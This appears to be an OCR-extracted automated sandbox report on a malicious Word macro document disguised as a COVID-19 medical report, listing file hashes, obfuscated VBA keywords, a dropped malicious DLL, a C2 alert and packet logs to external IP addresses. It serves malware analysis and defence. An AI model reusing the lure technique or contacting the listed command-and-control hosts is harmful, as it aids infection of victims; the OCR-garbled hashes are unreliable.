Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVyokKOg5GII3GWSKG/f2+1/In:vdsCkWtwW2111D9I
39EB3053A717C25AF84D576F6B2EBDD2
F6157079187E865C1BAADCC2014EF58440D449CA
CD95COEA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A

5AA3D344F90844D83477E94EODOEOF3C96324D8C255C643D1A67FA2BBOEEBDFAF6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB902891
C

false

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JFVIB84821J1PYPBOEY5.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.586617243298514

false
96:chQCsMqftMqvsqvJCwolz8hQCsMqftMgvsEHyqvJCwor/z1PY{tJHyf8lht+lUVJ:cy3olz8y7Hnor/z1bf8IBlu
5CC20A1959F6110E368E14FCE4C71E93

17DCB465855248585EDE81A4B56D045B043B1BE7
8E444E6BEFE6AFC6A1041D54AC7D9290E2595EF93BADSE4D820949E1841117EL

A415E620A9357D9F6D239887EACBOCADSES907F8CE29247D098526362650E80D7F18BOD5SFEGD13351E563CD2F5EAEFC8F70CD26AE915EC7C8CDABCCBE2409
C5

false

gram.D.ata . M.i.cr.o.s.o.f. W.i.n.d.o.w.s.. :((
.STARTM~1..j . @....S.tart. .Me.n.u..@.s.hell3.2.dll,.-.2178.6...~1...Pf.Programs..f.... ..Pfx <...Pro.grams..@.s.h.e.l
LwIrfo...........B..../Acc.cesss.ories.@.s.h.ell3.2.dll,.-2.17.6.1....}1....".WINDOW~1..R........,..""*.......
o WINDOW~2.LNK..Z ..oty ¥ S W.i.n.d.o.w.s.

...W.in.d.ow.s. .P.ow.e.r.Shell..v.2.k.
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C:\Users\user\Desktop\~$-9743 Medical report COVID-19.doc

Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.431160061181642

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyokKOg5GII3GWSKG/f2+1/In:vdsCkWtwW2111D9I

MD5: 39EB3053A717C25AF84D576F6B2EBDD2

SHAL: F6157079187E865C1BAADCC2014EF58440D449CA

SHA-256: CD95COEA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A

SHA-512: 5AA3D344F90844D83477E94EODOEOF3C96324D8C255C643D1A67FA2BBIEEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB902891
C

Malicious: false

Preview:
USET ... Alb.us............. | IO Weiiiiiirens Weiiiiines PW. W..ooZonn W....X...

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 340824

Entropy (8bit): 4.347471014428068

Encrypted: false

SSDEEP: 3072:aG9ctfNneahaNfjraHoEKApi23X5TKavlyw8W8:aG+Fel7mHoU/3NywH8

MD5: A675444E1D39C57D28ACE66CCDF56209

SHAL: B40E2B76AFE537083B4F024594A262238B7733CC

SHA-256: EC2A858FF4D3505EADEEB514A91ED38D34D80A81723DD48F8049A1E963C3587C

SHA-512: 8CC242A9310AB3F25EB46453FAD48475ED2AAOE7EC0AD141C01339335B8905DF1578F14EBEB318EDFI0014ECA794438C8CF1F2704549943056C00E6D587BD50!

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Preview:

L2 F Lo [T SRTN R
.rdata. N .@..@.dat

Static File Info

General

File type: Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
Licensed Soft Chips TCP capacity Future Savings
Account redundant open-source Consultant Cambrid
geshire digital Synergistic, Author: Ambre Vidal,
Template: Normal.dotm, Last Saved By: Ethan Vasseur,
Revision Number: 1, Name of Creating Application:
Microsoft Office Word, Create Time/Date: Tue Jan 12
17:56:00 2021, Last Saved Time/Date: Tue Jan 12
17:57:00 2021, Number of Pages: 1, Number of Words:
2466, Number of Characters: 14061, Security: 8

Entropy (8bit): 6.693119364534795

TriD: e Microsoft Word document (32009/1) 79.99%

e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

File name: XP-9743 Medical report COVID-19.doc

File size: 160861

MD5: da92c55d4b08367fb79a6bc6ae4dad85

SHA1L: 8ee3239cfb5dd7d9ddd8e503c8fec19e21ca3c3d

SHA256: 137602cebf7c61felbb6647160167813271afbd74a52fcc
cf03a0ad590a9ef61

SHA512: 9ef0222dd48f94d149e090f17ab465389d489eefd5b4cad
14867aalbb5bbd4ca4afla0d88ab62d74a90c3dbdb906¢
abdd823cd8105516a9b19fe642005f17€92

SSDEEP: 3072:EX9ufstRUUKSNs8T00JSHUgteMJI8qMD7g8NtP:

Copyright null 2021

69ufsfglfOpL8PP
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General

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "XP-9743 Medical report COVID-19.doc"

Indicators
Has Summary Info:
Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:

Contains PowerPoint Document Stream:

Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Title:
Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Gx8fznt8p0b, Stream Size: 10973

Copyright null 2021

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True

1252

Licensed Soft Chips TCP capacity Future Savings Account redundant open-source Consultant

Cambridgeshire digital Synergistic
Ambre Vidal

Normal.dotm

Ethan Vasseur

1

0

2021-01-12 17:56:00
2021-01-12 17:57:00
1

2466

14061

Microsoft Office Word
8

-535
117
32

False

False
False
False

917504
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General

Stream Path: Macros/VBA/Gx8fznt8p0b

VBA File Name: Gx8fznt8p0Ob

Stream Size: 10973

Data ASCIl: L P
............... X ot ME

Data Raw: 01 16 01 00 00 fO 00 00 00 14 06 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 1b 06 00 00 7b 1f 00

00 00 00 00 00 01 00 00 00 Oc ff 3a 0a 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
XFTXEQJDN
"wlxm[vw]xm[v"
glKrmCJj
xSGbhCJ
dxRvhumeH
Fix(dTSeMQG)
Fix(zHdGgDLim)
(Fix(DgmzWgJHy)
RXvmIZQm
AIEWeBgBI
MSsFhG
CXFGDHII
"wlxm[vrow]xm[vw]xm[vcew]xm[vsw]xm[vsw]xm[vw]xm[v"
shylMG
reejhCJo:
Fix(ZJLnFB)
Resume
XFTXEQJDN:
Fix(CcLHCeb)
TMBZGWW
(Fix(sJIrfkKHHt)
Fix(neULB)
xblYArN
DheYzB
HRHrHJIDID
MwLbBJBFI
NhxAGVAH
YjbulCHY
Len(dsfe))),
ulfWCCIFF
WJzJl
kshfoytP:
Fix(RXvmIZQm)
cuCyC
Fix(ZYHZIlii)
JfXdCsEp
InptugrzA
Fix(gIKrmCJj)
Fix(kshfoytP)
JSrfhd:
Fix(JfXdCsEp)
MIKCE
Fix(PNjoAGP)
gpIBBDhi
JfXdCsEp:
Fix(nYjBpD)
Fix(sJIrfkKHHt)
UYbmGGDC
QKtuz
Fix(QKtUz)
SetWuCGdA
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Keyword
RXvmIZQm:
Fix(RXzua)
Fix(QWDIdHHR)
Fix(BzbdEIl)
TghVU

tqlkDIrD
nYjBpD
Fix(shylMG)
dTSeMQG
DJIZDCM
"wlxm[v",
rvmetA
ykgfGKNf
Fix(XFTXEQJDN)
(Fix(cYdfo)
Fix(fRfgHB)
Fix(JISrfhd)
NfAUFNI
CcLHCeb
eEAOBGE
FBKjB
reejhCJo
mzZXJjJAgq
aDUvJDOI:
cYdfo
zHdGgDLim
sIrfKHHt
iIKSWBKUWG
PNjoAGP:
RXzua
aDUvJDOI
(Fix(dTSeMQG)
neULB:
ImdMEA
Fix(cYdfo)
VRYIMIBHH
UnYMEIICD
Fix(DgmzWgJHy)
dNfeF
PNjoAGP
tYFUKEBCC
xSGbCJ:
"ww]xm[vinw]xm[vmw]xm[vgmw]xm[vtw]xm[vw]xm[v"
Elself
(Fix(fRfgHB)
UDFpCBJJ
(Fix(zHdGgDLim)
Fix(reejhCJo)
SgwfJAm

JSrfhd
OkSpwDa
QWDIdHHR
ZYHZllii:
Fix(xSGbCJ)
SrmTEEB
QWDIdHHR:
VEHmMFIM
(Fix(tYFUKEBCC)
bONVDCEIF
jzjFFpDhA
ggGVJ

fRfgHB
(Fix(PgRakD)
XTZpYXiBF
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Keyword
iTfwbHGDH
(Fix(CcLHCeb)
dUNUgHJIG
Error

THKIAUF
kshfoytP
MybcQH
zCXyyY
Fix(AIEWeBgBI)
Attribute
Fix(aDUvJDOI)
GIHKEN
gpBWaEPFj
Fix(PgRakD)
fzvmJ

oaACDga
szALCGBF
(Fix(QKtUz)
Fix(tYFUKEBCC)
VB_Name
ICwOHad
IIWECD
(Fix(bONVDCEIF)
PgRakD
glKrmCJ;:
(Fix(RXzua)
Fix(zKEHRtJGG)
Fix(DJIZDCM)
Function
hzXmmAn
Fix(bONVDCEIF)
BzbdEl:

PohBnF

GdxgnN
DJIZDCM:

sTIFD

rUIOAX

shylMG:
VDhTuRJ
Double

neULB
GDDUGJd
BzbdEl
zZKEHRtIGG
GgPOTjZ
BhhWnCHb
CuCzGCw
(Fix(nYjBpD)
aEWwP

nDpnHa

ZJLnFB
"wlxm[vpw]xm[v"
ZYHZIlii
(Fix(AIEWeBgBI)
Mid(Application.Name,
DgmzWgJHy
(Fix(zZKEHRtIGG)
cMaNE
(Fix(ZJLnFB)

VBA Code

VBA File Name: Kyl0I3rqw280c6ssa, Stream Size: 1118
Copyright null 2021 Page 24 of 47



General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Document_open()
VB_Creatable
False

Private
VB_Exposed
Attribute
VB_Name
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: P0_myy5fnenf, Stream Size: 699

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

Macros/VBA/Kyl0I3rqw280c6ssa
KylOI3rqw280c6ssa
1118

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 Oc ff 33 b6 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Macros/VBA/PO_myy5fnenf
PO_myy5fnenf
699

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 Oc ff f1 d1 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

\x1CompObj
data

146
4.00187355764
False

. MSWordDoc..... Word.Document
.B. .M.i.c.r.o.s.o.f.t. .W.o.r.d. .9.7.
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General

Data Raw:

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 3800 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x5Summarylinformation, File Type: data, Stream Size: 544

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6424

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Data, File Type: data, Stream Size: 99188

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

\x5DocumentSummarylnformation

data

4096

0.280929556603

False

........................................ +,..0. ... choololoipe
T
........................ LU o I (= Y

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5Summaryinformation
data

544

4.17934415163

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 f0 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 6¢ 01 00 00 04 00 00 00 58 01 00 00 05 00 00 00
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09 00

00 00 d0 00 00 00

1Table

data

6424
6.13683822603

True

.6...6...>...6...6...6...6...
.6...6...6...6...6...6...6...6...6...6...

6a 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Data

data

99188
7.39015578121

True
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General

Data Raw:

748301 00 44 00 64 00 00 00 00 00 00 00 Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 67
eb 2c 62 01 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 63 00 Ob f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
08 00 80 c3 14 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 502

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 131

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 4495

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 661

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
502

5.4581902648

True

ID="{7BC89ABC-1933-4F33-A1BA-81765C738716}"..Docume
nt=Kyl0l3rqw280c6ssa/&H00000000..Module=P0_myy5fnenf.
.Module=Gx8fznt8p0b..ExeName32="Whkrt3k9vwqgqg"..Name=
"mw"..HelpContextID="0"..VersionCompatible32="39322200

0"..CMG="D8DAOAABOEABOEABOEABOE"..DPB="3D3FEF7

49 44 3d 22 7b 37 42 43 38 39 41 42 43 2d 31 39 33 33 2d 34 46 33 33 2d 41 31 42 41 2d 38
3137 36 35 43 37 3338 37 31 36 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 4b 79 6¢ 30 6¢ 33
727177 3238306336 737361 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65
3d 50 30 5f 6d 79 79 35 66 6e 65 6e 66 0d Oa 4d 6f 64 75 6¢ 65 3d 47 78 38 66 7a 6e 74 38
70 30 62 0d Oa 45 78 65

Macros/PROJECTwm
data

131

3.74080626522

False

Kyl0lI3rqw280c6ssa.K.y.1.0.1.3.r.q.w.2.8.0.c.6.s.s.a...P0_my
y5fnenf.P.0._.m.y.y.5.f.n.e.n.f...Gx8fznt8p0Ob.G.x.8.f.z.n.t.

4b 79 6¢ 30 6¢ 33 72 71 77 32 38 30 63 36 73 73 61 00 4b 00 79 00 6¢ 00 30 00 6¢ 00 33 00
72007100 77 00 32 00 38 00 30 00 63 00 36 00 73 00 73 00 61 00 00 00 50 30 5f 6d 79 79
35 66 6e 65 6e 66 00 50 00 30 00 5f 00 6d 00 79 00 79 00 35 00 66 00 6e 00 65 00 6e 00 66
00000047 78 38 66 7a 6e 74 38 70 30 62 00 47 00 78 00 38 00 66 00 7a 00 6e 00 74 00 38
00 70 00 30 00 62 00 00

Macros/VBA/_VBA_PROJECT
data

4495

5.32797660773

False

B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...1.#.9
#.C...\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a.s

i.c. L F.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Macros/VBA/dir
data

661
6.37896546622

True

............ o*. ....p..H.."..d.....m..2.4.@.....Z=....b............a
% .J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.

L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#

OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ...... *WC.......

.a...1Offi

Page 27 of 47



General

Data Raw: 01 91 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 6d a2 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09010212 16 cl ed 61 06 00 Oc 25 02 4a 3c 02 0a 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02
32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 Od 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30
3032 60303433302d

Stream Path: WordDocument, File Type: data, Stream Size: 20014

General

Stream Path: WordDocument

File Type: data

Stream Size: 20014

Entropy: 4.1368278567

Base64 Encoded: False

Data ASCII: e H....bjbj. ..o N..b...I

@

......... e

Data Raw: ec a5 ¢1 00 5f c0 09 04 00 00 8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 8f 48 00

00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 2e 4e 00 00 62 7f 00 00 62 7f 00 00 8f 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of 00

00 00 00 00
Network Behavior
Snort IDS Alerts
Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
01/12/21- TCP 2404340 ET CNC Feodo Tracker Reported CnC Server TCP group 21 49168 80 192.168.2.22 71.72.196.159
20:31:20.789009

Network Port Distribution

Total Packets: 39

@ 53 (DNS)
® 80 (HTTP)
@ 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 20:31:04.502388954 CET 49165 443 192.168.2.22 5.2.81.171
Jan 12, 2021 20:31:04.613992929 CET 443 49165 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.614180088 CET 49165 443 192.168.2.22 5.2.81.171
Jan 12, 2021 20:31:04.629313946 CET 49165 443 192.168.2.22 5.2.81.171
Jan 12, 2021 20:31:04.740904093 CET 443 49165 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.740953922 CET 443 49165 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.740977049 CET 443 49165 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.741005898 CET 443 49165 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.741178036 CET 49165 443 192.168.2.22 5.2.81.171
Jan 12, 2021 20:31:04.741214037 CET 49165 443 192.168.2.22 5.2.81.171
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 20:31:04.754389048 CET 49165 443 192.168.2.22 5.2.81.171

Jan 12, 2021 20:31:04.755346060 CET 49166 443 192.168.2.22 5.2.81.171

Jan 12, 2021 20:31:04.865854979 CET 443 49165 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.866605043 CET 443 49166 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.866749048 CET 49166 443 192.168.2.22 5.2.81.171

Jan 12, 2021 20:31:04.867340088 CET 49166 443 192.168.2.22 5.2.81.171

Jan 12, 2021 20:31:04.978590965 CET 443 49166 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.978642941 CET 443 49166 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.978676081 CET 443 49166 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.978705883 CET 443 49166 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:04.978878021 CET 49166 443 192.168.2.22 5.2.81.171

Jan 12, 2021 20:31:04.980880976 CET 49166 443 192.168.2.22 5.2.81.171

Jan 12, 2021 20:31:05.067197084 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.092096090 CET 443 49166 5.2.81.171 192.168.2.22
Jan 12, 2021 20:31:05.139599085 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.139782906 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.140002012 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.212311983 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219491005 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219544888 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219584942 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219623089 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219634056 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.219661951 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219698906 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219708920 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.219739914 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219772100 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.219779015 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219829082 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219846010 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.219876051 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.219939947 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.292373896 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292434931 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292473078 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292522907 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292534113 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.292566061 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292607069 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292612076 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.292649031 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292681932 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.292687893 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292726040 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292762995 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.292767048 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292807102 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292835951 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.292855978 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292905092 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292927980 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.292943954 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.292983055 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.293020010 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.293021917 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.293061018 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.293096066 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.293101072 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.293140888 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.293171883 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.293190002 CET 80 49167 109.232.216.177 192.168.2.22
Jan 12, 2021 20:31:05.293261051 CET 49167 80 192.168.2.22 109.232.216.177
Jan 12, 2021 20:31:05.365664005 CET 80 49167 109.232.216.177 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 20:31:05.365725040 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.365765095 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.365806103 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.365842104 CET 49167 80 192.168.2.22 109.232.216.177

Jan 12, 2021 20:31:05.365865946 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.365890980 CET 49167 80 192.168.2.22 109.232.216.177

Jan 12, 2021 20:31:05.365915060 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.365953922 CET 80 49167 109.232.216.177 192.168.2.22

Jan 12, 2021 20:31:05.365983009 CET 49167 80 192.168.2.22 109.232.216.177

Jan 12, 2021 20:31:05.365993023 CET 80 49167 109.232.216.177 192.168.2.22

